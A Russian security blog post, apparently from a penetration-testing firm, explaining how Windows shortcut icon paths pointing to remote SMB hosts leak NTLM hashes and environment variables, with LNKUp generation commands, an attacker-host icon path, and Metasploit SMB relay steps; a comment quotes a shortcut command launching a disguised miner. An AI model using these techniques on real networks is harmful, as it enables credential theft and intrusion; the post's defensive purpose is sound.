Ярлыки в Windows: куда они ведут и могут ли быть опасны?


    В данной статье мы поговорим о методах компрометации систем с использованием стандартного функционала ОС Windows, доступного при создании ярлыков и как с этим бороться.

    Как это работает и стоит ли мне бояться


    Пожалуй, большинство пользователей ОС Windows знают, что запуск подозрительных программ и клики на неизвестные ярлыки — небезопасно, и даже самые «плохие» пользователи стараются так не делать. Так что, мы не будем об этом говорить.

    А также, большинство пользователей хотя бы раз пробовали сменить значок ярлыка.

    Напомню, что делается это через свойства, примерно так:



    А какие значения можно указывать в этом поле?



    Обязательно ли путь должен быть локальным? На самом деле — нет. Т.е. вы можете указать здесь что-нибудь такое



    И при переходе пользователя в директорию, содержащую такой ярлык произойдет следующее.
    Скриншот из Wireshark на машине 192.168.1.3.



    Сервер 192.168.1.3 не смог принять TCP соединение, поскольку не прослушивает TCP порт 445, т.е. SMB. На первый взгляд может показаться, что беспокоиться не о чем, но это не так.

    Сервер 192.168.1.3 может закончить TCP хэндшейк и вести себя как SMB сервер. Например, при помощи модуля фреймворка Metasploit.



    Попробуем перейти в директорию с ярлыком еще раз и проверим после этого консоль Metasploit



    Мы получили NTLM хэш пользователя, который «увидел» наш ярлык.

    Эта уязвимость (feature) известна уже более 20 лет, со времен WinNT/Win95 и существует по сей день. Microsoft предлагает бороться с данной уязвимостью при помощи NTLM Blocking. Но настроить это должен пользователь сам



    И ознакомиться со всеми «но»



    Некоторые провайдеры могут блокировать исходящий трафик в Интернет на порт 445, что, также, может защитить пользователей, на чьих машинах не активированы соответствующие политики, но никак не защитит от атаки в локальной сети.

    LNKUp — автоматизация эксплуатации


    Совсем недавно был выпущен инструмент LNKUp, позволяющий автоматизировать процесс создания lnk-файлов, подобных тому, который мы рассмотрели выше. Скачать его можно на официальном GitHub.

    Утилита написана на Python, запускается под ОС Windows и требует Python-пакеты pylnk и pypiwin32.



    Чтобы создать ярлык для захвата NTLM-хэша используется следующая команда

    python generate.py --host HOST --type ntlm --output out.lnk
    

    где HOST — машина, на которой запущен SMB сервер Metasploit.

    Второй вариант использования LNKUp — это получение переменных окружения пользователя. Это работает, потому что в свойствах ярлыка можно использовать переменные окружения, например так:



    Для их чтения нужно запустить сниффер на машине 192.168.1.3

    Команда для создания ярлыка выглядит так:

    python generate.py --host 192.168.1.3 --output out.lnk --type environment --vars PROCESSOR_ARCHITECTURE

    И в дампе трафика мы увидим



    Т.е. путь к иконке в свойствах ярлыка выглядел так

    \\192.168.1.3\SHARE_%PROCESSOR_ARCHITECTURE%

    Таким образом, пользователю не нужно специально что-то запускать, ему просто нужно перейти в каталог, в котором находится вредоносный ярлык, например в сетевую директорию или «увидеть» его при подключении внешних носителей.

    SMB-Relay при просмотре каталога


    При помощи фреймворка Metasploit можно поднять и другого рода SMB сервер, используя модуль exploit/windows/smb/smb_relay и провести атаку вида SMB Relay.



    Теперь предположим, что вредоносный ярлык был помещен в сетевой каталог, которым обычно пользуются администраторы для установки софта. При очередном открытии такого каталога произойдет перенаправление NTLM аутентификации администратора на выбранную нами машину в сети.



    И будет получена сессия метерпретера





    Исходя из всего вышеперечисленного, пожалуй, можно сделать вывод, что от NTLM аутентификации стоит отказаться везде, где это возможно, а также уделять повышенное внимание сетевой безопасности и доступу к общим ресурсам, на которых злоумышленник может разместить вредоносные объекты.
    Метки:
    Pentestit 869,99
    Информационная безопасность
    Поделиться публикацией
    Комментарии 29
    • +5
      Хорошо бы ещё пояснить для несведущих, чем конкретно грозит получение зловредом упомянутой информации. А заодно и то, к чему приведёт блокировка NTLM. Если, например, к полной недоступности SMB-ресурсов с аутентификацией, то вряд ли это решение подойдёт многим пользователям.
      • –4

        Полученной информацией злоумышленник может распоряжаться как ему вздумается и тут все зависит от конкретного случая. В некоторых случаях, это может привести к полной компрометации всей инфраструктуры компании.
        Что же касается блокировки NTLM — об этом можно долго говорить, но это не тема моей публикации. Но, как Вы верно заметили, сперва нужно хорошенько подумать, что вы включаете/выключаете, прежде чем переходить к действиям.

        • +4
          Полученной информацией злоумышленник может распоряжаться как ему вздумается
          Это и так очевидно, что он может распоряжаться, как ему вздумается, для этого токен и крадётся. Интересует, каких конкретно целей можно достичь, используя украденный таким образом NTLM-хэш. Можно ли с его помощью подделать аутентификацию на другом ресурсе, представившись там пользователем, чей токен мы спёрли? Или расшифровать пароль (способом более быстрым, чем перебор)? Или что?

          Просто как я это вижу: всё, что спёр злоумышленник, мы и так добровольно раздаём всем SMB-серверам, к которым подключаемся. Если это так опасно, то как этот протокол вообще до сих пор жив?
          • 0

            Расшифровать пароль пользователя из этого хеша, и использовать уже по прямому назначению: получение доступа туда, куда был доступ у пользователя.

            • 0

              Для Pass-the-hash такой токен не подойдет. Но можно провести брутфорс хэша и узнать пароль пользователя. А чем вас не устраивает перебор? Современные фермы неплохо справляются с брутфорсом.
              В сети есть множество публикаций на тему NTLM-Relay атак, можете изучит их или взглянуть на мой пример "SMB-Relay при просмотре каталога".
              Да, это так опасно и, да, протокол все еще жив, ибо, обратную совместимость никто не отменял и нет так-то просто полностью отключить NTLM везде.

              • 0
                А чем вас не устраивает перебор? Современные фермы неплохо справляются с брутфорсом.
                Просто задачи разного уровня сложности. Против перебора можно бороться усилением пароля. А если бы можно было вытащить без перебора (как, скажем, было в зашифрованных ZIP), то ситуация уже намного серьёзнее.
                • 0

                  Если мы говорим про SMB то это пароль от AD, и его вводит пользователь каждый день при запуске компьютера (а то и несколько десятков раз в день если отвлекается от места, а стол блокируется). Усложнение пароля приводит к усложнению его ввода, что отрицательно сказывается на удобстве пользователя. Даже админы AD не горят желанием вводить постоянно кривые сложно-запоминаемые и сложно-набираемые пароли. Исходя из этих данных можно упростить задачу, а используя несколько GPU всё до 14 символов подбирается за несколько часов с вероятностью до 90%.

              • 0
                Этой информации достаточно для доступа к smb ресурсам, доступным тому же пользователю. Администратору домена доступны шары C$ на всех компьютерах домена, можно заменить, изменить, добавить любой файл на любом компьютере сети.
              • 0
                «Причин может быть множество, а последствия могут быть разными»
              • +5

                Получение зловредом упомянутой информации приведет к тому что он сможет авторизоваться уже на вашем компьютере по сети или на общем сетевом ресурсе от вашего имени (упомянутая атака SMBRelay). Кроме того, если вы используете слабый пароль — злоумышленник сможет найти его перебором.


                От первой атаки можно защититься путем запрета NTLM на входящих соединениях — но от второй поможет только запрет исходящего NTLM.


                Блокировка NTLM приведет к невозможности подключения к SMB-ресурсам за исключением тех что в домене или тех где разрешен анонимный доступ. SMB-ресурсы — это в основном сетевые папки и сетевые принтеры.


                Если это так опасно, то как этот протокол вообще до сих пор жив?

                По той же самой причине по которой его не получается отключить: слишком много существующих устройств его используют.

                • 0
                  Спасибо, теперь понятнее. Как-то мимо меня эти проблемы прошли; ни разу не слышал, что даже простой SMB-коннект можно совершать лишь к тому серверу, которому доверяешь на сто процентов.
            • 0
              А как на это реагируют антивирусы? На подобные ярлыки.
              • +3

                Предположительно "никак", т.к. данный метод не содержит вирусной сигнатуры или вредоносной активности.

                • 0

                  Верно, никак. (На данный момент по крайней мере)

              • 0
                Спасибо за материал. Как-то идея выпала из поля зрения.
                И дополнительная иллюстрация про переноску воды в решете от гиганта… ;).
                • 0
                  Скажем так, имея под рукой домен, NTLM можно нужно отключать везде. Проблемы могут начаться только с Legacy-устрйствами, например сетевыми принтерами-сканерами, которые умеют в SMB, но не умеют в Kerberos.
                  Как быть в таких случаях — зависит уже от ситуации.
                  Иногда вендор расщедривается на обновление прошивки.
                  Иногда можно отказаться от SMB вообще, если устройство может, к примеру, FTP, NFS и т.д.
                  Практически всегда можно заставить устройство складывать сканы куда-то, вместо того чтобы людям ходить на устройство.
                  Ну и напоследок, всегда остаётся радикальный вариант — «выкинь каку» :)
                  • 0

                    Такие устройства можно занести в белый список доверенных (ClientAllowedNTLMServers)

                  • +1

                    Я правильно понимаю, что атака возможна, если для захода в каталог используется стандартный Проводник Windows? А если мы заходим, скажем, через Far, то «бояться нечего» (так как он не показывает иконки ярлыков)?

                    • 0

                      Интересный вопрос, спасибо. Если только FAR не пытается (зачем-то) переходить по вышеупомянутым путям. Думаю, что через FAR бояться нечего.

                      • 0
                        Возможно и Total Commander безопасен, если в настройках раздела «Значки» поставить точку в пункте «Показ значков» на «Только стандартные», или галочку «Если EXE/LNK не в сети».
                        • +1
                          Это относится к местоположению самого LNK-файла, но не того, куда ссылается значок. Так что TC безопасен, лишь если значки отключить совсем или оставить «только стандартные».
                      • –2
                        Помимо злоумышленников эту штуку, кажется, можно использовать для получения статистики установок своего Windows-приложения. Очень грубой, конечно же, но тем не менее.
                        • 0
                          Вы можете получить лишь статистику входа в директорию с ярлыком :)
                        • 0
                          Вот еще другой пример — на торрент-трекере раздается якобы видеофайл, с которым на «в нагрузку» идет ярлык, которые запускает MKV уже как EXE — . Параметры запуска ярлыка

                          %ComSpec% /C START "Game.of.Thrones.S07E07.HDTV.x264-KILLERS.mkv" "Game.of.Thrones.S07E07.HDTV.x264-KILLERS.mkv"


                          Virustotal определяет ярлык как LNK.Exploit.Gen и что-то похожее — www.virustotal.com/ru/file/927abbbecb174f736e2f28a6a9b8f36a27a800dfe9bdd8d20fa16785a9ecd5a8/analysis/1505030233, и, судя по статистике трекера, этот файл успели скачать много тысяч пользователей.
                          • 0
                            эмм, я не уверен, но мне кажется, что таким способом нельзя запустить файл, как .EXE
                            cmd поищет файлы Game.of.Thrones.S07E07.HDTV.x264-KILLERS.mkv.EXE, .COM, .BAT, .CMD и когда не найдёт, отдаст файл файловому менеджеру, который запустит стандартную ассоциацию, при отсутствии таковой выдаст стандартное «не является внутренней или внешней командой»
                            • 0
                              Хм, ну я не рисковал запускать, но судя по тому же Вирустоталу, внутри MKV — майнер, как раз недавно про них была статья на GT.

                              P. S. Ссылку на сам вредонос я прикреплял к своему комментарию выше, но она не прошла модерацию, если хотите, могу Вам прислать как-то для изучения.
                              • 0
                                да я и сам уже нашёл на kat.rip
                                да, и правда экзешник в MKV, и да, действительно ярлык запускает его, хотя я не понимаю, как это получается
                                • 0
                                  Кстати, при попытке залить сам ярлык на mega.nz туда выгрузился cmd.exe, не знаю должно ли так быть.

                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                          Самое читаемое